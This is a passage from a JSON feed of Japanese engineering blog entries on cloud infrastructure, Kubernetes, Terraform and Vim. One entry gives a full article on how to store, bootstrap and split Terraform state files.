Gatewayを自動作成/削除する","contentSnippet":"概要本記事ではStep Functionsを利用して、Nat Gatewayを自動で作成/削除する方法について記載します。NAT Gatewayは作成しているだけでコストがかかるリソースであり、…","link":"https://qiita.com/ys1/items/abf8daab19f616b3d854","isoDate":"2023-12-29T15:25:41.000Z","dateMiliSeconds":1703863541000,"authorName":"Yusuke Sakurai","authorId":"ysakurai"},{"title":"K8sGPT: Log Analyzer","contentSnippet":"Filter 一覧➜ k8sgpt filters listActive:> ReplicaSet> PersistentVolumeClaim> Service> StatefulSet> Node> Pod> Deployment> Ingress> CronJob> ValidatingWebhookConfiguration> MutatingWebhookConfigurationUnused:> HTTPRoute> HorizontalPodAutoScaler...","link":"https://zenn.dev/tozastation/articles/3e2b9e887639f4","isoDate":"2023-12-28T08:26:54.000Z","dateMiliSeconds":1703752014000,"authorName":"tozastation","authorId":"tozastation"},{"title":"K8sGPT: 概要","contentSnippet":"K8sGPT とはIt has SRE experience codified into its analyzers and helps to pull out the most relevant information to enrich it with AI.README.md, k8sgpt, https://github.com/k8sgpt-ai/k8sgptREADME.md の引用ですが、SRE Experience が Analyzerに体系化されており、最も関連性の高い情報を引き出してAIで補完するのに役立つと書かれています。 SRE Experien...","link":"https://zenn.dev/tozastation/articles/737871319fb33b","isoDate":"2023-12-28T07:16:37.000Z","dateMiliSeconds":1703747797000,"authorName":"tozastation","authorId":"tozastation"},{"title":"K8sGPT: Overview","contentSnippet":"What is K8sGPTIt has SRE experience codified into its analyzers and helps to pull out the most relevant information to enrich it with AI.README.md, k8sgpt, https://github.com/k8sgpt-ai/k8sgptSRE Experience & AnalyzersA class called Analyzer is d...","link":"https://tozastation.hashnode.dev/k8sgpt-overview","isoDate":"2023-12-28T05:55:08.000Z","dateMiliSeconds":1703742908000,"authorName":"tozastation","authorId":"tozastation"},{"title":"Googleが提供するBIツール「Looker」とは?","contentSnippet":"はじめに 2023年10月30日、Googleが提供するBIツール「Looker」が政府認定クラウドサービス(通称 ISMAP) に認定されました。「Looker」が“政府認定クラウドサービス”に Google提供のBI […]The post Googleが提供するBIツール「Looker」とは? first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-about-looker/","isoDate":"2023-12-28T00:11:29.000Z","dateMiliSeconds":1703722289000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Neovimで文法に従ってコードを範囲選択するtreemonkey.nvimを作った","contentSnippet":"treemonkey.nvimというプラグインを作りました。treesitterを活用し、カーソル位置に対応するノード(変数とか関数とか)を選択するプラグインです。ノードの開始位置と終了位置に対応するラベルがあるので、自分が選択したい範囲に対応するラベルを選ぶ形式です。","link":"https://blog.atusy.net/2023/12/27/treemonkey-nvim/","isoDate":"2023-12-27T00:00:00.000Z","dateMiliSeconds":1703635200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Google Cloud 検証環境を頑張りすぎず良い感じに整えた話","contentSnippet":"はじめに こんにちは!Sreake事業部 横尾(@866mfs)です。 3-shakeでは、社員なら誰でもGoogle Cloud の各種サービスを検証できる、検証環境アカウント(ここでは ”test.org” と表記) […]The post Google Cloud 検証環境を頑張りすぎず良い感じに整えた話 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/make-better-google-cloud-verification/","isoDate":"2023-12-25T23:43:35.000Z","dateMiliSeconds":1703547815000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Kubernetesのソースコードを読む Kubelet編","contentSnippet":"起動処理Kubeletの起動処理についてソースコードを追っていき、どんな処理をしているのかみていきたいと思います。読むソースコード: バージョン: v1.27.2https://github.…","link":"https://qiita.com/ys1/items/7a455c602424e591fe38","isoDate":"2023-12-25T15:06:41.000Z","dateMiliSeconds":1703516801000,"authorName":"Yusuke Sakurai","authorId":"ysakurai"},{"title":"GitHub Actions で cosign を使って keyless 署名する","contentSnippet":"この記事は、3-shake Advent Calendar 2023 24日目のエントリ記事です。Container image が適切な方法で build されたものかどうかを確認するために署名…","link":"https://qiita.com/yteraoka/items/db13b1dd94fa9e115676","isoDate":"2023-12-24T14:16:16.000Z","dateMiliSeconds":1703427376000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Terraformのtfstateについて考える","contentSnippet":"この記事は3-shake Advent Calendar 2023の23日目の記事となります。3-shakeのカレンダー | Advent Calendar 2023 - QiitaこちらはSRE Tech Talk #6で話した内容に補足したものです。3-shake SRE Tech Talk #6 - connpass資料はこちらとなります。 tfstateとはtfstateの課題tfstateの管理場所をどうするか問題localS3/Google Cloud StorageGitLabTerraform Cloudtfstateを管理するリソースをどう管理する問題aws/gcloud コマンドterraform + local state 管理CloudFormation / Google Deployment Managertfstateをどう分割するか問題環境分離パターンディレクトリ分離パターンbackend-configパターンworkspace環境分離以外の分割をどうするか問題分割する観点プロバイダーで分割管理権限で分割変更頻度で分割依存の方向性で分割tfstate間のリソース参照まとめtfstateとはTerraformが管理しているリソースの状態を表すjson形式のファイルです。tfstateとterraformファイルと実際のリソースの状態を比較して、terraformコマンドが実行されます。一般的には直接変更せずterraform stateコマンドを通して変更を行い、一般ユーザがtfstateに触れることはないです。参考: Backend Configuration - Configuration Language | Terraform | HashiCorp Developertfstateの課題tfstateについて以下の課題があります。それぞれについて見ていきます。tfstateの管理場所tfstateを管理するリソースの管理tfstateの分割tfstateの管理場所をどうするか問題主な保存場所候補としては以下のものがあります。local(デフォルト)クラウドのオブジェクトストレージS3/Google Cloud StorageGitレポジトリ統合GitLabSaaS利用Terraform CloudlocalTerraformのデフォルト保存先です。Terraformを実行する同じディレクトリのterraform.tfstateに保存されます。1人もしくは変更頻度が著しく低い状況など特殊なとき使えるものとなります。git管理して複数人で使うこともできるが、コンフリクトが発生しうるので、チーム開発には向かないです。基本的には複数人でterraformを使用するときは非推奨です。参考: Backend Type: local | Terraform | HashiCorp DeveloperS3/Google Cloud Storage監理するクラウドのオブジェクトストレージに保存する方法です。これが標準的(当社比)なのかなと思っています。オブジェクトストレージなので、権限があればどこからでもアクセスすることができます。それゆえ、同時にTerraformが実行されるので排他ロックの処理が必要となります。S3バックエンドを使用した場合はDynamoDBを使用してstate lockを実現します。Google Cloud Storageは単体でstate lockをサポートしています。tfstateの参照権限をクラウドのIAMで制御する必要があります。参考: Backend Type: s3 | Terraform | HashiCorp Developer参考: Backend Type: gcs | Terraform | HashiCorp DeveloperGitLabGitLabでtfstateを監理することもできます。tfstateを管理するリソースを管理する必要がないことがメリットとなります。(後述します)開発にGitLabを使っている場合、親和性が高い方法となります。参考: GitLab-managed Terraform state | GitLabTerraform CloudGitLabと同様tfstateを管理するリソースを管理する必要がないというところにメリットがあります。月間500 Managed Rsourcesまで無料で使えます。参考: HashiCorp Terraform: Enterprise Pricing, Packages & Featuresweb上からリソース差分の確認できたり、applyが可能です。SaaSにクラウドのリソース情報を預けることに抵抗がない場合は選択肢としては有望です。なおTerraformのStateのドキュメントではこういう記述があり、Terraform Cloudを推奨しているようです。This state is stored by default in a local file named \\"terraform.tfstate\\", but we recommend storing it in Terraform Cloud to version, encrypt, and securely share it with your team.参考: State | Terraform | HashiCorp Developer昔はAWSと連携するためにIAM Userのアクセスキーを使わないといけなかったが、OIDC認証もできるようになったので、よりやりやすくなったかと思います。参考: Terraform Cloud Adds Dynamic Provider Credentials for Vault and Official Cloud Providers参考: Terraform Cloud | Terraform | HashiCorp Developertfstateを管理するリソースをどう管理する問題GitLabやTerraform Cloudを使う場合には起きない問題となります。S3のようなクラウドのオブジェクトストレージを使用する場合は、このS3バケットをどう作るかということが問題となります。コマンドで作る場合、コマンドの管理、terraformで作る場合はそのtfstateはどこに保存するか、そういったことに頭を悩ませます。そこについて考えていきます。以下の方法が考えられます。aws/gcloudコマンドterraform + local state管理CloudFormationaws/gcloud コマンドそもそも作成コマンドしか打たないのであれば、スクリプトをレポジトリに含めておけば良いという考え方はあります。基本的に一度作れば変えることはないので、これで十分という風に割り切ることはできます。ただし、tfstateのバケットだけでなく、CI/CD用のIAM RoleやOIDC認証リソースなども初期リソースとして含めて管理したいというユースケースだと、スクリプト管理では力不足になりうります。terraform + local state 管理オブジェクトストレージをterraformで作る方法です。ただし、tfstateに関してはlocalに保存し、これをgitも管理します。かたくなにterraformを使いたい人に向けな方法となります。デメリットとしては、tfstateもgit管理するのでコミット忘れがあります。また、頻度低いですがterraform自体はローカルで実行せざるを得ないので変更衝突が起きうることです。CloudFormation / Google Deployment Managerクラウドごとにコードを変えないといけない。IaCツールを2種類使うというそこはかとない気持ち悪さはあるというデメリットはありますが、gitでインフラ状態管理しなくてすむというメリットがあります。気持ち悪さだけを克服できるなら無難な選択肢だとは思います。tfstateをどう分割するか問題第一に考えるのが環境の分離。この分離の仕方だけ他とは系統が違うので独立して説明します。一部差分があるだけで、以下のような形でほぼ同じ構成の環境を作ることはよくあります。開発環境ステージング環境本番環境これらについてどう分割するのかを考えていきます。環境分離パターン大きく2つのパターンを利用することが多いです。それぞれ見ていきます。ディレクトリ分離パターンbackend-configパターンディレクトリ分離パターンこれは環境ごとにディレクトリを分割して、環境ディレクトリを実行単位とします。環境の切り替えはディレクトリ移動することで行います。環境ごとの差分が大きいときに使うことが多いです。デメリットとしては環境ごとにリソース定義をそれぞれ書くので記述量が多くなるというのがあります。そのため、可能な限りモジュール化して、なるべくパラメータだけの差分にするようにします。ディレクトリ構成例としては以下の通りです。.├── envs│ ├── dev│ │ ├── locals.tf│ │ ├── main.tf│ │ ├── outputs.tf│ │ └── variables.tf│ ├── prd│ │ ├── locals.tf│ │ ├── main.tf│ │ ├── outputs.tf│ │ └── variables.tf│ └── stg│ ├── locals.tf│ ├── main.tf│ ├── outputs.tf│ └── variables.tf└── modules ├── vpc │ ├── locals.tf │ ├── main.tf │ ├── outputs.tf │ └── variables.tf ├── application │ ├── locals.tf │ ├── main.tf │ ├── outputs.tf │ └── variables.tfbackend-configパターンbackend-configオプションとvars-fileオプションを組み合わせて、環境を切り替えるパターンです。${ENVDIR}/terraform.tfvars に環境ごとの差分パラメータを定義して、${ENVDIR}/backend.tfvars に環境ごとのtfstate保存先を定義します。terraform init で backend.tfvars を切り替えることで環境の切り替えを行います。環境ごとに差分が少ないときに向いています。差分は terraform.tfvars に記述されているパラメータだけなので、記述量が少なくて済みます。ただし差分が多くなるとcount, for_eachで分岐やループを作ることになり読みにくくなるというものがあります。ディレクトリ構成例としては以下のようになります。.├── envs│ ├── dev│ │ ├── backend.tfvars│ │ └── terraform.tfvars│ ├── prd│ │ ├── backend.tfvars│ │ └── terraform.tfvars│ └── stg│ ├── backend.tfvars│ └── terraform.tfvars├── locals.tf├── main.tf├── modules│ └── vpc│ ├── locals.tf│ ├── main.tf│ ├── outputs.tf│ └── variables.tf├── outputs.tf├── provider.tf└── variables.tf設定ではbackendをs3と指定しておき中身はオプションで指定するようにします。terraform { backend \\"s3\\" {}}以下のようにterraform initするたびに適用する環境を切り替えることができる。terraform init --backend-config=${ENVDIR}/backend.tfvars --reconfigureterraform apply --var-file=${ENVDIR}/terraform.tfvarsworkspaceworkspaceは同じような環境を複製するときに使ういます。シングルテナント環境を量産する場合や開発環境を複数作る場合などに使います。環境を切り替える用途には作られてないとドキュメントまでは記載されています。参考: Managing Workspaces - Terraform CLI | Terraform | HashiCorp DeveloperIn particular, organizations commonly want to create a strong separation between multiple deployments of the same infrastructure serving different development stages or different internal teams. In this case, the backend for each deployment often has different credentials and access controls. CLI workspaces within a working directory use the same backend, so they are not a suitable isolation mechanism for this scenario.自分自身がworkspaceを実運用で使ったことがないので多くは語れないです。別でちゃんと使ってから書きたいと思います。参考: State: Workspaces | Terraform | HashiCorp Developer環境分離以外の分割をどうするか問題小さいサービスでは環境を分離するだけでだいたいは問題ないことがおおいですが、terraformを運用していると運用面、管理面でいろいろ課題が出てくると思います。管理するリソースが増えるとplan/applyの時間が増えたり、リソースの見通しが悪くなったりしてきます。特に実行時間が意外に馬鹿にできなかったりします。下手するとplanに数分かかるようになったりします。そのため、ある程度大きくなったらtrstateを分割して、リソースの管理範囲を分割する必要が出てきます。これをどうやって分割するかが自分の中で答えが出ていない出てないし、分脈によって解決策は異なるとは思います。ここで、解決策を考えるうえで、分割するための観点を見ていきましょう。分割する観点分割する観点は以下のようなものがあるかと思います。プロバイダー管理権限変更頻度プロバイダーで分割プロバイダー単位で分割するパターンです。例としてはAWSとDatadogのようにプロバイダーで分割します。プロバイダー間で依存がない場合は分けやすいかと思います。また、プロバイダー間で管理主体が違うことも多いので素直な分け方だとは思います。しかしながら、アプリケーションリソースとアプリケーションの監視を近いところにおいたほうが見通しがよいのではという観点もあるので運用体制にあわせて考えるとよいでしょう。管理権限で分割チームの権限で分割するパターンです。ただし、より堅くするなら、ディレクトリではなくレポジトリ自体も分割して、コードの参照権限も分割する方が望ましい場合もあります。例ネットワーク ⇒ インフラチームアプリケーション ⇒ 開発チーム変更頻度で分割変更をあまりしないリソースを変更が頻繁なリソースと一緒のplan/applyするのは無駄なので変更の頻度でtfstateを分割するパターンもあります。例変更が少ない ⇒ DB/ネットワーク変更が多い ⇒ EC2/ECS依存の方向性で分割少し観点を変えてみます。実際に分割をした場合に問題となるのはtfstate間のリソースの依存が課題になります。tfstate間で相互に依存するようなコードを書くとtarget指定してそれぞれのstateのリソースを作成しなくてはなりません。こうすると管理が煩雑となってしまうので、原則的に片方向だけの依存になるように分割するようにするのが望ましいです。tfstate間のリソース参照terraform_remote_state を使うことで、参照元のTerraformでoutputした内容を別のTerraformで利用することができます。# 参照元 networkアカウントoutput \\"vpc_id\\" { value = aws_vpc.main.id}# 参照先 applicationアカウント# data.terraform_remote_state.network.vpc_id の形式でVPC IDを参照できるdata \\"terraform_remote_state\\" \\"network\\" { backend = \\"s3\\" config { bucket = \\"terraform-tfstate-network-xxxxx\\" key = \\"tfstate\\" region = \\"ap-northeast-1\\" }}まとめ正直tfstateをどう扱うかに正解はないです。サービス規模や性質によって選択は変わります。本当に小さい規模であれば、tfstateを分割せず一つで十分でしょうし、チーム開発せず一人で扱うなら、通常であれば推奨されないtfstateのlocal git管理という手段がふさわしい場合もあります。また、組織やサービスの成長や時間経過によっても最適な選択は変わると思います。大事なのは選んだ技術要素に関しては選定理由を説明できるようにはしておくということです。選定理由及び不採用理由を明確にしておくことで、変更時に最適な選択の助けになるでしょう。","link":"https://blog.masasuzu.net/entry/2023/12/23/000000","isoDate":"2023-12-22T15:00:00.000Z","dateMiliSeconds":1703257200000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"testcontainers-scala で快適なインテグレーションテストを実現する","contentSnippet":"この記事は、3-shake Advent Calendar 2023 の 22 日目の記事です。 はじめに私の所属する株式会社スリーシェイクでは、Reckoner というデータパイプライン構築の SaaS を開発しています。https://reckoner.io/「SaaSをつなぐ。業務が変わる。ビジネスが進化する。」直感的なユーザーインターフェイスで、多種多様な SaaS のデータをつなぎ合わせることで、データ活用・データの民主化を実現します。 課題Reckoner では、データの取得・加工・保存部分を Scala で実装しており、データの連携先として、MySQL ...","link":"https://zenn.dev/nomadblacky/articles/173ea1f829eafa","isoDate":"2023-12-22T13:07:06.000Z","dateMiliSeconds":1703250426000,"authorName":"Takumi Kadowaki","authorId":"nomadblacky"},{"title":"AWS Network Firewall と NAT ゲートウェイの配置","contentSnippet":"はじめにAWS Network Firewall(以下 NWFW)の導入例を探してアーキテクチャ図を眺めていると,説明されている図によって NAT ゲートウェイ(以下 NATGW)との配置がまちまちであることに気づきます。つまり,プライベート・パブリックサブネットのシンプルな構成の場合,インターネット宛ての通信経路は大別するとプライベートサブネット→ NATGW→ NWFW →インターネットプライベートサブネット→ NWFW → NATGW →インターネットの2種類が存在します。それぞれのアーキテクチャの違いと,どちらを選定すべきかの指針についてまとめます。 1....","link":"https://zenn.dev/toshikish/articles/d7d15cd01a8584","isoDate":"2023-12-22T07:17:39.000Z","dateMiliSeconds":1703229459000,"authorName":"toshikish","authorId":"toshikish"},{"title":"社内チャットツールでGemini Proが使えるようになった話","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 本記事では、社内チャットツ […]The post 社内チャットツールでGemini Proが使えるようになった話 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/gemini-pro-introduction/","isoDate":"2023-12-21T08:49:07.000Z","dateMiliSeconds":1703148547000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Kubernetesに対する理解を高めてKubernetesの「わからない」を減らそう","contentSnippet":"Kubernetes Novice Tokyo #29 で発表したLT資料です\\r\\rイベントURL: https://k8s-novice-jp.connpass.com/event/300438/\\r動画URL: https://www.youtube.com/watch?v=WZHDlB8P9_4\\r\\r参考資料:\\rhttps://github.com/kubernetes/kubernetes/tree/v1.28.4 \\rhttps://github.com/coredns/coredns/tree/v1.11.1 \\rhttps://github.com/coredns/example \\rhttps://github.com/coredns/coredns/blob/v1.11.1/plugin/kubernetes/README.md \\rhttps://github.com/kubernetes/dns/blob/1.22.28/docs/specification.md \\rhttps://github.com/kubernetes/cri-api/blob/v0.28.4/pkg/apis/runtime/v1/api.proto \\rhttps://coredns.io/2017/03/01/how-to-add-plugins-to-coredns/\\rhttps://coredns.io/2016/12/19/writing-plugins-for-coredns/ \\rhttps://github.com/coredns/example \\rhttps://github.com/coredns/coredns/blob/v1.11.1/plugin.md \\r\\rセッション内容の詳しい資料:\\rhttps://bells17.booth.pm/items/3129761\\rhttps://bells17.booth.pm/items/2649601\\rhttps://speakerdeck.com/bells17/implementation-of-kubeadm-init\\rhttps://speakerdeck.com/bells17/kube-api-server-k8sjp\\rhttps://speakerdeck.com/bells17/kube-controller-managerru-men\\rhttps://speakerdeck.com/bells17/kube-proxyru-men\\rhttps://speakerdeck.com/bells17/kubernetestocorednsnituiteli-jie-suru\\rhttps://speakerdeck.com/bells17/cloud-controller-manager-deep-dive\\rhttps://speakerdeck.com/bells17/introduction-to-csi\\rhttps://speakerdeck.com/bells17/kubelet-and-containers\\rhttps://speakerdeck.com/bells17/cri-spec-and-dockershim-implementation","link":"https://speakerdeck.com/bells17/kubernetesnidui-suruli-jie-wogao-metekubernetesno-wakaranai-wojian-rasou","isoDate":"2023-12-21T05:00:00.000Z","dateMiliSeconds":1703134800000,"authorName":"bells17","authorId":"bells17"},{"title":"\uD83D\uDC19 KubernetesのマルチテナントパターンとArgoCDの実践テナント設計","contentSnippet":"『Kubernetes Novice Tokyo』の登壇資料です\\r\\r・Kubernetesのマルチテナントパターンの種類\\r・ArgoCDのAppProjectテナントとNamespacedスコープモード\\r・ArgoCDのテナントが防いでくれる誤った操作の具体例\\r\\rを紹介しました\\r\\rArgoCDのマニフェストの実装例を解説できませんでしたので、ぜひ元記事 (KubernetesのマルチテナントパターンとArgoCDの実践テナント設計) もご参照ください\uD83D\uDC4D\uD83C\uDFFB\\r\\r\uD83D\uDC26 ツイート:https://x.com/Hiroki__IT/status/1737778249021952458","link":"https://speakerdeck.com/hiroki_hasegawa/kubernetesnomarutitenantopatantoargocdnoshi-jian-tenantoshe-ji","isoDate":"2023-12-21T05:00:00.000Z","dateMiliSeconds":1703134800000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"【ArgoCD\uD83D\uDC19】\\"Kubernetes Novice Tokyo\\" に登壇","contentSnippet":"発表スライドから得られる知識発表スライドを見ると、以下を \\"完全に理解\\" できます✌️Kubernetesのマルチテナントパターンの種類ArgoCDのAppProjectテナントとNamespacedスコープモードArgoCDのテナントが防いでくれる誤った操作の具体例発表スライドから得られる知識イベント名発表スライドイベント名オッス!オラ長谷川!✋\uD83C\uDFFB『KubernetesのマルチテナントパターンとArgoCDの実践テナント設計』ていうテーマで、 Kubernetes Novice Tokyo に登壇したぞ!発表スライドみんな!スライドぜってぇ見てくれよな!Kubernetes Novice Tokyo の登壇資料です!キミだけの最強のマルチテナントを作ろう✌️#k8snovicehttps://t.co/qNEhnkA7WZ— 長谷川 広樹 (地下強制労働者) (@Hiroki__IT) December 21, 2023 ちな、発表内容の詳細はこの記事をみてくれよな!","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/12/21/833414","isoDate":"2023-12-21T03:00:00.000Z","dateMiliSeconds":1703127600000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"ddc.vimを使ってmakeやGinなどのExコマンドの補完を実現する","contentSnippet":"ddc.vimは自動補完プラグインの1つです。新世代の自動補完プラグイン ddc.vimコマンドライン補完にも対応しており、組込みの補完よりも補完候補のソースやマッチング、ソーティングにおいて、高い柔軟性を持ちます。","link":"https://blog.atusy.net/2023/12/20/ddc-fish-alias-completion/","isoDate":"2023-12-20T00:00:00.000Z","dateMiliSeconds":1703030400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"テーブル構造変更に伴う認可・権限管理を設計実装してみて思ったこと","contentSnippet":"※この記事は3-shake Advent Calendar 2023の20日目の記事ですはじめまして、@bayobayo0324 です。株式会社スリーシェイクでクラウド型データ連携ツール「Rec…","link":"https://qiita.com/bayobayo0324/items/a2fcc5eee9930bd2009a","isoDate":"2023-12-19T22:00:39.000Z","dateMiliSeconds":1703023239000,"authorName":"bayobayo0324","authorId":"bayobayo0324"},{"title":"RでR言語をパースする","contentSnippet":"R言語 Advent Calendar 2023の19日目の記事です。ggplot2で標準偏差付きの折れ線グラフを描く」でした。可視化大事。2023年、ずいぶんとRを触ることが減りました。ftExtraなどのパッケージの更新をほそぼそとやってます。","link":"https://blog.atusy.net/2023/12/19/r-parsed-data/","isoDate":"2023-12-19T00:00:00.000Z","dateMiliSeconds":1702944000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"terraform test: 細かい挙動","contentSnippet":"この記事は 3-shake Advent Calendar 2023 19 日目の記事です! この記事に書いてあることこの記事を含め 3 回に渡って terraform test の機能を紹介します。terraform test: 基本機能terraform test: 応用機能terraform test: 細かい挙動 <- 今ここ はじめに前回の記事では、 terraform test の応用的な機能の紹介をしました。この記事では、 terraform test の挙動について説明します。 terraform test: 細かい挙動 state...","link":"https://zenn.dev/kyohei_saito/articles/eac62818b7217d","isoDate":"2023-12-18T14:58:00.000Z","dateMiliSeconds":1702911480000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"KubernetesとCoreDNSについて理解する","contentSnippet":"3-shake SRE Tech Talk #8 で発表したLT資料です\\r\\rイベントURL: https://3-shake.connpass.com/event/302755/\\r動画URL: https://www.youtube.com/watch?v=8JbfniqxNQk\\r\\r参考資料:\\rhttps://github.com/kubernetes/kubernetes/tree/v1.28.4 \\rhttps://github.com/coredns/coredns/tree/v1.11.1 \\rhttps://github.com/coredns/example \\rhttps://github.com/coredns/coredns/blob/v1.11.1/plugin/kubernetes/README.md \\rhttps://github.com/kubernetes/dns/blob/1.22.28/docs/specification.md \\rhttps://github.com/kubernetes/cri-api/blob/v0.28.4/pkg/apis/runtime/v1/api.proto \\rhttps://coredns.io/2017/03/01/how-to-add-plugins-to-coredns/\\rhttps://coredns.io/2016/12/19/writing-plugins-for-coredns/ \\rhttps://github.com/coredns/example \\rhttps://github.com/coredns/coredns/blob/v1.11.1/plugin.md","link":"https://speakerdeck.com/bells17/kubernetestocorednsnituiteli-jie-suru","isoDate":"2023-12-18T05:00:00.000Z","dateMiliSeconds":1702875600000,"authorName":"bells17","authorId":"bells17"},{"title":"2023-12-18 SRETT8 Terraform使いがPulumiに入門する","contentSnippet":"","link":"https://speakerdeck.com/masasuzu/2023-12-18-srett8-terraformshi-ikapuluminiru-men-suru","isoDate":"2023-12-18T05:00:00.000Z","dateMiliSeconds":1702875600000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"VimのOperator待機モードでexclusive motionをinclusiveに使う","contentSnippet":"Vimアドベントカレンダー2023の12/18の記事です。ryoppippiさんによる「Vimで人生が豊かになった話」(2023/12/18 22:25時点で未投稿)atusyによる「Vimで無名レジスタでchange/delete/yankした時に、イニシャルに相当するレジスタにも値を入れる」Vimのモーションのinclusive/exclusive、なかなか意識する場面が少ないですね。","link":"https://blog.atusy.net/2023/12/18/vim-convert-exclusive-motions-into-inclusive/","isoDate":"2023-12-18T00:00:00.000Z","dateMiliSeconds":1702857600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"terraform test: 応用機能","contentSnippet":"この記事は 3-shake Advent Calendar 2023 18 日目の記事です! この記事に書いてあることこの記事を含め 3 回に渡って terraform test の機能を紹介します。terraform test: 基本機能terraform test: 応用機能 <- 今ここterraform test: 細かい挙動 はじめに前回の記事では、 terraform test の基本的な機能の紹介をしました。前回の記事の内容でも十分に terraform module のテストを書くことができると思います。しかし、今回紹介する応用的な機能を使...","link":"https://zenn.dev/kyohei_saito/articles/52ce184522aae9","isoDate":"2023-12-17T14:58:00.000Z","dateMiliSeconds":1702825080000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"AWS Step Functionsを利用してAWSリソースの自動起動停止を行う","contentSnippet":"概要本記事ではStep Functionsを利用して、AWSリソースを自動で起動停止する方法について記載します。主にコスト削減のために、開発環境を夜間停止するなどで利用することを想定しています。今回は以下のようなことを実施する方法について説明しま…","link":"https://qiita.com/ys1/items/21744f39676286b2c321","isoDate":"2023-12-17T14:55:57.000Z","dateMiliSeconds":1702824957000,"authorName":"Yusuke Sakurai","authorId":"ysakurai"},{"title":"Inplace pod vertical Scalingについて調べる","contentSnippet":"概要この記事ではKubernetes 1.27で新たに導入されたIn-place pod vertical Scalingに関して調べたことを共有しますIn-place pod vertical…","link":"https://qiita.com/ys1/items/2bd32750977960b7ef33","isoDate":"2023-12-17T14:53:50.000Z","dateMiliSeconds":1702824830000,"authorName":"Yusuke Sakurai","authorId":"ysakurai"},{"title":"個人開発で要件定義、設計をした話","contentSnippet":"現在、個人開発で麻雀戦績管理アプリを作っていて、要件定義や設計について考えたことを共有したいと思います。GitHub ↓github.comなぜやったのか自分はWebエンジニアを目指している大学生ですが、まともなWebアプリを開発した経験がなく、フロントからインフラまでフルスタックで開発しようと思い立ちました。最初は何をするか手探りの状態でしたが、その「何をするのか」を定義するために要件定義、設計から始めました。何をやったのかGitHubにissueを作成し、やるべきことを明確化していきました。要件定義ここではアプリケーションの機能や、なぜそのような機能にするのかを箇条書きしていきます。この作業を通してやることとやらないことが明確化され、実装もうっすら浮かんできます。実際の要件定義は以下のような感じになりました。- ユーザーはまずサインアップする - ユーザー名、パスワードを設定する - ユーザー名は一意でないといけない - ユーザの削除機能はデータ整合性が複雑になるので作らない - サインアップ済みのユーザーはログインをする - ユーザー名、パスワードを入力- セッション管理をし、セッションが張られていたらログインを省略し、ユーザーホーム画面に入る。- 親ユーザーが部屋を作り、他のユーザーを登録していく - 作成できる部屋は10部屋まで - 親は参加のためのパスワードを設定する - 子は親に部屋IDとパスワードを共有してもらう - 3人以上いないと対局結果は登録できない、四麻は四人 - 部屋の削除機能も必要- 各部屋のホーム画面では各部屋での自分の戦績が表示される- オフラインで対局した点数結果とそのユーザーと何家かをアプリに登録する - 点数結果だけでいいの? - 毎回上がり役とかを登録してると、面倒くさいと思う - 三麻も登録できるようにする。 - 点数の合計点を計算し、ユーザーの入力をチェックする - 同点の場合は、東寄りが上位- 取り消し機能も必要 - 「対局」という粒度で削除できるようにする。これは点数とユーザを登録したひと塊。 - 間違えてもその「対局」を消し、また新しい「対局」を作ればいい - 自分または同じ部屋のユーザーの成績を確認できるようにする - 平均順位 - 一位率 - 二位率 - 三位率 - 四位率 - とび率 - 対局数 - 平均得点 - 各項目のランキングも出す - 「n局以上」で検索できるようにする- 対局の登録、削除のたびに個人成績を計算しなおすデータベース設計ER図を書きます。要件定義にあるように今回のアプリではユーザーのログイン機能や、そのユーザーが作成、参加する部屋、その部屋ごとの戦績など、テーブルが複雑にリレーションを張るので設計に入る前に整理することができます。ある程度機能を盛り込む予定の個人開発では必須でしょう。画面遷移画面遷移図を書きます。ページとその機能、ページ同士の遷移を定義します。ここで定義したことはすなわちユーザーアクションのすべてなので、ユーザーアクションごとのテストがしやすくなります。実際の画面遷移図↓以上のような要件定義、設計を行うことで、実装での手戻りが少なくなり、快適に実装ができました。これからアプリケーション自体はほとんど完成しているので、コンテナ化し、それをECSやCloud Runにデプロイし、運用していく予定です!","link":"https://kechigon.hatenablog.com/entry/2023/12/17/142140","isoDate":"2023-12-17T05:21:40.000Z","dateMiliSeconds":1702790500000,"authorName":"Kurita Keigo","authorId":"kurita"},{"title":"Vimで無名レジスタでchange/delete/yankした時に、イニシャルに相当するレジスタにも値を入れる","contentSnippet":"Vim Advent Calendar 2023の12/17の記事です。mattnさんによる「Vim で SQL を素で編集してるの?」Vimのレジスタ、使いこなしてますか?とっても沢山種類があります。","link":"https://blog.atusy.net/2023/12/17/vim-easy-to-remember-regnames/","isoDate":"2023-12-17T00:00:00.000Z","dateMiliSeconds":1702771200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"terraform test: 基本機能","contentSnippet":"この記事は 3-shake Advent Calendar 2023 17 日目の記事です! この記事に書いてあることこの記事を含め 3 回に渡って terraform test の機能を紹介します。terraform test: 基本機能 <- 今ここterraform test: 応用機能terraform test: 細かい挙動 terraform test とはなにか 概要terraform test は Terraform module を実際に plan / apply して動作を確認するツールです。ドキュメントにも明記されている通り、主な使...","link":"https://zenn.dev/kyohei_saito/articles/a32b5a11c81e97","isoDate":"2023-12-16T14:58:00.000Z","dateMiliSeconds":1702738680000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"Terraform使いがPulumiに入門しました","contentSnippet":"この記事は3-shake Advent Calendar 2023の16日目の記事です。qiita.comこの内容はSRETT #8で発表した内容に補足しています。3-shake.connpass.com 